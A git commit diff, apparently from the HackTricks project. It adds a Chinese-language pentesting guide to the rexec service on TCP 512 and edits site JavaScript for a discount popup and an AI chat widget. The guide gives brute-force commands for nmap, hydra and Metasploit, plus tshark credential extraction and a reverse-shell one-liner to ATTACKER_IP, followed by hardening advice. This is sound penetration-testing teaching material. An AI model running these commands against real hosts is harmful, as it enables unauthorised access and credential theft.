Translated ['src/network-services-pentesting/512-pentesting-rexec.md'] t

This commit is contained in:
Translator 2025-07-15 22:08:43 +00:00
parent a623967134
commit 9ee515f01b
2 changed files with 166 additions and 5 deletions

View File

@ -2,17 +2,103 @@
{{#include ../banners/hacktricks-training.md}}
## 基本信息
它是一项服务,**允许您在主机内部执行命令**,如果您知道有效的**凭据**(用户名和密码)
Rexec (remote **exec**) 是最初的 Berkeley *r*-services 套件之一(与 `rlogin``rsh` 等一起)。它提供了一种 **远程命令执行** 功能,**仅通过明文用户名和密码进行身份验证**。该协议在1980年代初定义参见 RFC 1060如今被认为是 **设计上不安全** 的。然而,它在某些遗留的 UNIX / 网络附加设备中仍然默认启用,并且在内部渗透测试中偶尔会出现
**默认端口:** 512
**默认端口:** TCP 512 (`exec`)
```
PORT STATE SERVICE
512/tcp open exec
```
> 🔥 所有流量 包括凭据 都是以**未加密**的方式传输的。任何能够嗅探网络的人都可以恢复用户名、密码和命令。
### 协议快速查看
1. 客户端连接到 TCP 512。
2. 客户端发送三个**以 NUL 结尾**的字符串:
* 它希望接收 stdout/stderr 的端口号(以 ASCII 形式,通常为 `0`
* **用户名**
* **密码**
3. 发送一个以 NUL 结尾的字符串,包含要执行的**命令**。
4. 服务器回复一个单一的 8 位状态字节0 = 成功,`1` = 失败),后跟命令输出。
这意味着你可以仅使用 `echo -e``nc` 重现该交换:
```bash
(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512
```
如果凭据有效,您将直接在同一连接上收到 `id` 的输出。
### 使用客户端的手动方式
许多Linux发行版仍然在 **inetutils-rexec** / **rsh-client** 包中提供传统客户端:
```bash
rexec -l user -p password <target> "uname -a"
```
如果省略 `-p`,客户端将以交互方式提示输入密码(在网络上以明文形式可见!)。
---
## 枚举与暴力破解
### [**暴力破解**](../generic-hacking/brute-force.md#rexec)
### Nmap
```bash
nmap -p 512 --script rexec-info <target>
# Discover service banner and test for stdout port mis-configuration
nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>
```
`rexec-brute` NSE 使用上述协议快速尝试凭据。
### Hydra / Medusa / Ncrack
```bash
hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8
```
`hydra` 具有专门的 **rexec** 模块,并且仍然是最快的离线暴力破解工具。 `medusa` (`-M REXEC`) 和 `ncrack` (`rexec` 模块) 可以以相同的方式使用。
### Metasploit
```
use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
```
该模块将在成功时生成一个shell并将凭据存储在数据库中。
---
## 捕获凭据
由于所有内容都是明文的,**网络捕获是无价的**。通过复制流量,您可以在不接触目标的情况下提取凭据:
```bash
tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}' # username:password -> command
```
(In Wireshark 中启用 *Decode As …​* TCP 512 → REXEC 以查看解析良好的字段。)
---
## 后期利用提示
* 以提供用户的权限运行命令。如果 `/etc/pam.d/rexec` 配置错误(例如 `pam_rootok`),有时可以获得 root shell。
* Rexec 忽略用户的 shell通过 `/bin/sh -c <cmd>` 执行命令。因此,您可以使用典型的 shell 转义技巧(`;`、``$( )``、反引号)来链接多个命令或生成反向 shell
```bash
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
```
* 密码通常存储在 **~/.netrc** 中;如果您攻陷一个主机,可以将其用于横向移动。
---
## 加固 / 检测
* **不要暴露 rexec**;用 SSH 替代。几乎所有现代的 *inetd* 超级服务器默认都会注释掉该服务。
* 如果必须保留它,请使用 TCP 包装器(`/etc/hosts.allow`)或防火墙规则限制访问,并强制执行强密码。
* 监控到 :512 的流量和 `rexecd` 进程启动。一次数据包捕获就足以检测到被攻陷。
* 一起禁用 `rexec``rlogin``rsh` 它们共享大部分相同的代码库和弱点。
---
## 参考文献
* Nmap NSE `rexec-brute` 文档 [https://nmap.org/nsedoc/scripts/rexec-brute.html](https://nmap.org/nsedoc/scripts/rexec-brute.html)
* Rapid7 Metasploit 模块 `auxiliary/scanner/rservices/rexec_login` [https://www.rapid7.com/db/modules/auxiliary/scanner/rservices/rexec_login](https://www.rapid7.com/db/modules/auxiliary/scanner/rservices/rexec_login)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,11 +1,86 @@
/**
* HackTricks Training Discounts
*/
(() => {
const KEY = 'htSummerDiscountDismissed';
const IMG = '/images/discount.jpeg';
const TXT = 'HT Summer Discount, Last Days!';
/* Stop if user already dismissed */
if (localStorage.getItem(KEY) === 'true') return;
/* Quick helper */
const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css });
/* --- Overlay (blur + dim) --- */
const overlay = $('div', `
position: fixed; inset: 0;
background: rgba(0,0,0,.4);
backdrop-filter: blur(6px);
display: flex; justify-content: center; align-items: center;
z-index: 10000;
`);
/* --- Modal --- */
const modal = $('div', `
max-width: 90vw; width: 480px;
background: #fff; border-radius: 12px; overflow: hidden;
box-shadow: 0 8px 24px rgba(0,0,0,.35);
font-family: system-ui, sans-serif;
display: flex; flex-direction: column; align-items: stretch;
`);
/* --- Title bar (separate, over image) --- */
const titleBar = $('div', `
padding: 1rem; text-align: center;
background: #222; color: #fff;
font-size: 1.3rem; font-weight: 700;
`);
titleBar.textContent = TXT;
/* --- Image --- */
const img = $('img');
img.src = IMG; img.alt = TXT; img.style.width = '100%';
/* --- Checkbox row --- */
const label = $('label', `
display: flex; align-items: center; justify-content: center; gap: .6rem;
padding: 1rem; font-size: 1rem; color: #222; cursor: pointer;
`);
const cb = $('input'); cb.type = 'checkbox'; cb.style.scale = '1.2';
cb.onchange = () => {
if (cb.checked) {
localStorage.setItem(KEY, 'true');
overlay.remove();
}
};
label.append(cb, document.createTextNode("Don't show again"));
/* --- Assemble & inject --- */
modal.append(titleBar, img, label);
overlay.appendChild(modal);
(document.readyState === 'loading'
? () => document.addEventListener('DOMContentLoaded', () => document.body.appendChild(overlay), { once: true })
: () => document.body.appendChild(overlay))();
})();
/**
* HackTricks AI Chat Widget v1.16 resizable sidebar
* ---------------------------------------------------
* Markdown rendering + sanitised (same as before)
* NEW: dragtoresize panel, width persists via localStorage
*/
(function () {
const LOG = "[HackTricksAI]";
const LOG = "[HackTricks-AI]";
/* ---------------- Usertunable constants ---------------- */
const MAX_CONTEXT = 3000; // highlightedtext char limit
const MAX_QUESTION = 500; // question char limit
@ -13,7 +88,7 @@
const MAX_W = 600;
const DEF_W = 350; // default width (if nothing saved)
const TOOLTIP_TEXT =
"💡 Highlight any text on the page,\nthen click to ask HackTricks AI about it";
"💡 Highlight any text on the page,\nthen click to ask HackTricks AI about it";
const API_BASE = "https://www.hacktricks.ai/api/assistants/threads";
const BRAND_RED = "#b31328";